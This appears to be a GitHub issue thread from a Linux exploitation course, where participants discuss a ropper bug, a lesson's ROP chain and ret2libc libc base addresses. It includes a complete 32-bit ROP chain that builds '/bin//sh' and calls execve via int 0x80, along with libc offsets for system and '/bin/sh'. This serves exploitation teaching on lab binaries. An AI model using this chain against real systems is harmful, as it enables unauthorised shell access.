ropper rop chain correction

[sashs]

Hi,

the bug which is responsible for the 'additional' gadget in the ropchain is fixed.
It would have been good if I had known this earlier ;)

So, if you want you can change your lessen6 script.

cheers

[halfluke]

sorry, I didn't mean to ruin the exercise, I was only looking for help / an explanation

[sashs]

I don't think that you have ruined the exercise. However, the chain in this exercise cannot be generated with ropper anymore, but a similar chain, without the mistake and by comparing the chains, it is easy to find the mistake.
I would create another chain for this exercise, that has a little mistake. That takes only a couple of minutes.

[sashs]

dword = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x00000000 # e23a9f6fe6844cb1fc1f5dc255707c32e837b5212309e7bf3ab44b72cf849cbe
rebase_0 = lambda x : dword(x + IMAGE_BASE_0)
rop = ''
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret; 
rop += '//bi'
rop += rebase_0(0x0009afc9) # 0x080e2fc9: pop ecx; ret; 
rop += rebase_0(0x000a6060)
rop += rebase_0(0x0001f591) # 0x08067591: mov dword ptr [ecx], edx; pop ebx; ret;  
rop += dword(0xdeadbeef)
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret; 
rop += 'n/sh'
rop += rebase_0(0x0009afc9) # 0x080e2fc9: pop ecx; ret; 
rop += rebase_0(0x000a6064)
rop += rebase_0(0x0001f591) # 0x08067591: mov dword ptr [ecx], edx; pop ebx; ret;  
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret; 
rop += dword(0x00000000)
rop += rebase_0(0x0009afc9) # 0x080e2fc9: pop ecx; ret; 
rop += rebase_0(0x000a6068)
rop += rebase_0(0x0001f591) # 0x08067591: mov dword ptr [ecx], edx; pop ebx; ret;  
rop += rebase_0(0x000a6060)
rop += rebase_0(0x0009afc9) # 0x080e2fc9: pop ecx; ret; 
rop += rebase_0(0x000a6068)
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret; 
rop += rebase_0(0x000a6068)
rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret; 
rop += dword(0x0000000b)
rop += rebase_0(0x0002afa0) # 0x08072fa0: int 0x80; ret; 

[halfluke]

just 'p', not 'dword' :-)

[sashs]

Nope.

[halfluke]

I don't mean that's the main chain error, I just mean that 'dword' triggers NameError: name 'dword' is not defined

[chrispetrou]

@halfluke No it doesn't, dword has been defined as dword = lambda x : pack('I', x), it shouldn't produce a NameError...

[halfluke]

Ah, my fault, I didn't change that line in the original script.
But then, at the end there is p(0x0000000b).
Can we keep both lambda definition or can we have only one?

[sashs]

I forgot to change that line, sorry. I've updated the code.
You can keep both. I renamed it because it dword makes more sense in tat context.

[halfluke]

I'll write this new "issue" here as it's more likely for sashs to read this, than for the author to read a new issue...
7_bypass_nx_ret2libc/src/1_reveal_addresses.c : there is also a compiled elf available, but it doesn't actually seem to show the correct base address of libc, contrary to the lesson plan.

ASLR disabled, of course.

ldd ../build/3_vulnerable
linux-gate.so.1 => (0xf7fd8000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e13000)
/lib/ld-linux.so.2 (0xf7fd9000)

../build/1_reveal_addresses
This program helps visualise where libc is loaded.

Memory Layout:
08048000-08049000 r-xp 00000000 08:01 1063551 /home/halfluke/linux-exploitation-course-master/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses
08049000-0804a000 r--p 00000000 08:01 1063551 /home/halfluke/linux-exploitation-course-master/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses
0804a000-0804b000 rw-p 00001000 08:01 1063551 /home/halfluke/linux-exploitation-course-master/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses
0804b000-0806c000 rw-p 00000000 00:00 0 [heap]
f7e0d000-f7e0e000 rw-p 00000000 00:00 0
f7e0e000-f7fbe000 r-xp 00000000 08:01 405428 /lib/i386-linux-gnu/libc-2.23.so
f7fbe000-f7fc0000 r--p 001af000 08:01 405428 /lib/i386-linux-gnu/libc-2.23.so
f7fc0000-f7fc1000 rw-p 001b1000 08:01 405428 /lib/i386-linux-gnu/libc-2.23.so
f7fc1000-f7fc4000 rw-p 00000000 00:00 0
f7fc4000-f7fc7000 r-xp 00000000 08:01 405413 /lib/i386-linux-gnu/libdl-2.23.so
f7fc7000-f7fc8000 r--p 00002000 08:01 405413 /lib/i386-linux-gnu/libdl-2.23.so
f7fc8000-f7fc9000 rw-p 00003000 08:01 405413 /lib/i386-linux-gnu/libdl-2.23.so
f7fd4000-f7fd5000 rw-p 00000000 00:00 0
f7fd5000-f7fd8000 r--p 00000000 00:00 0 [vvar]
f7fd8000-f7fd9000 r-xp 00000000 00:00 0 [vdso]
f7fd9000-f7ffc000 r-xp 00000000 08:01 405414 /lib/i386-linux-gnu/ld-2.23.so
f7ffc000-f7ffd000 r--p 00022000 08:01 405414 /lib/i386-linux-gnu/ld-2.23.so
f7ffd000-f7ffe000 rw-p 00023000 08:01 405414 /lib/i386-linux-gnu/ld-2.23.so
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]

Function Addresses:
System@libc 0xf7e48da0
PID: 28447
Press enter to continue.

Offset calculation is fine but f7e0e000 is not libc base address, so what is it?

./identify /lib/i386-linux-gnu/libc-2.23.so
id libc6_2.23-0ubuntu11_i386
id local-568c528bd0d4ab9279ab140a11c9b138487e41ee
/libc-database$ ./identify /lib/i386-linux-gnu/libc.so.6
id libc6_2.23-0ubuntu11_i386
id local-568c528bd0d4ab9279ab140a11c9b138487e41ee
/libc-database$ ./dump local-568c528bd0d4ab9279ab140a11c9b138487e41ee
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6310
offset_read = 0x000d5b00
offset_write = 0x000d5b70
offset_str_bin_sh = 0x15ba0b

[sashs]

Offset calculation is fine but f7e0e000 is not libc base address, so what is it?

It is the base address. If you inspect the memory at that address, you will find the ELF header of the libc.

IIRC The other address is the libc address as well, however, it is the address where the libc was loaded during the ldd call

[halfluke]

not sure I understood, my exploit works if I use 0xf7e13000 as libc base address, not the one reported by the 1_reveal_addresses tool (f7e0e000)

[sashs]

Maybe you should explain what you did.

The memory layout which is revealed by 1_reveal_addresses is the memory layout of that application. That means, the address f7e0e000 is the base address of the libc for the application 1_reveal_addresses. That base address can be different for other applications.
If you want to check the base address of the libc for the vulnerable application, start it in the gdb, set a breakpoint somewhere in the application and use the command run. When it breaks, use the command info proc mappings in order to show the memory map. The first address of the libc is the base address.

[halfluke]

I feel so dumb now, I thought 1_reveal_address revealed the general libc address for the OS, and that it did not change across applications... (with aslr disabled)